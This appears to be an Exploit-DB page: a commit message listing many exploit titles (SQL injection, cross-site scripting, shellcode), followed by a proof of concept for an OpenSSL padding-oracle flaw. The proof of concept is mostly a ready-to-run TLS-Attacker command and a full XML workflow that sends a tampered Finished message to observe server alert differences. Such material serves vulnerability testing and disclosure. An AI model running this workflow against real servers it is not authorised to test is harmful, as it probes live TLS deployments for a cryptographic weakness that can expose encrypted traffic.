ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
76 lines
No EOL
3.3 KiB
Text
76 lines
No EOL
3.3 KiB
Text
Source: http://web-in-security.blogspot.ca/2016/05/curious-padding-oracle-in-openssl-cve.html
|
|
|
|
TLS-Attacker:
|
|
https://github.com/RUB-NDS/TLS-Attacker
|
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39768.zip
|
|
|
|
|
|
You can use TLS-Attacker to build a proof of concept and test your implementation. You just start TLS-Attacker as follows:
|
|
java -jar TLS-Attacker-1.0.jar client -workflow_input rsa-overflow.xml -connect $host:$port
|
|
|
|
The xml configuration file (rsa-overflow.xml) looks then as follows:
|
|
|
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
|
<workflowTrace>
|
|
<protocolMessages>
|
|
<ClientHello>
|
|
<messageIssuer>CLIENT</messageIssuer>
|
|
<includeInDigest>true</includeInDigest>
|
|
<extensions>
|
|
<EllipticCurves>
|
|
<supportedCurvesConfig>SECP192R1</supportedCurvesConfig>
|
|
<supportedCurvesConfig>SECP256R1</supportedCurvesConfig>
|
|
<supportedCurvesConfig>SECP384R1</supportedCurvesConfig>
|
|
<supportedCurvesConfig>SECP521R1</supportedCurvesConfig>
|
|
</EllipticCurves>
|
|
</extensions>
|
|
<supportedCompressionMethods>
|
|
<CompressionMethod>NULL</CompressionMethod>
|
|
</supportedCompressionMethods>
|
|
<supportedCipherSuites>
|
|
<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA</CipherSuite>
|
|
<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA</CipherSuite>
|
|
<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA256</CipherSuite>
|
|
<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA256</CipherSuite>
|
|
</supportedCipherSuites>
|
|
</ClientHello>
|
|
<ServerHello>
|
|
<messageIssuer>SERVER</messageIssuer>
|
|
</ServerHello>
|
|
<Certificate>
|
|
<messageIssuer>SERVER</messageIssuer>
|
|
</Certificate>
|
|
<ServerHelloDone>
|
|
<messageIssuer>SERVER</messageIssuer>
|
|
</ServerHelloDone>
|
|
<RSAClientKeyExchange>
|
|
<messageIssuer>CLIENT</messageIssuer>
|
|
</RSAClientKeyExchange>
|
|
<ChangeCipherSpec>
|
|
<messageIssuer>CLIENT</messageIssuer>
|
|
</ChangeCipherSpec>
|
|
<Finished>
|
|
<messageIssuer>CLIENT</messageIssuer>
|
|
<records>
|
|
<Record>
|
|
<plainRecordBytes>
|
|
<byteArrayExplicitValueModification>
|
|
<explicitValue>
|
|
3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
|
|
3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
|
|
</explicitValue>
|
|
</byteArrayExplicitValueModification>
|
|
</plainRecordBytes>
|
|
</Record>
|
|
</records>
|
|
</Finished>
|
|
<ChangeCipherSpec>
|
|
<messageIssuer>SERVER</messageIssuer>
|
|
</ChangeCipherSpec>
|
|
<Finished>
|
|
<messageIssuer>SERVER</messageIssuer>
|
|
</Finished>
|
|
</protocolMessages>
|
|
</workflowTrace>
|
|
|
|
It looks to be complicated, but it is just a configuration for a TLS handshake used in TLS-Attacker, with an explicit value for a plain Finished message (32 0x3F bytes). If you change the value in the Finished message, you will see a different alert message returned by the server. |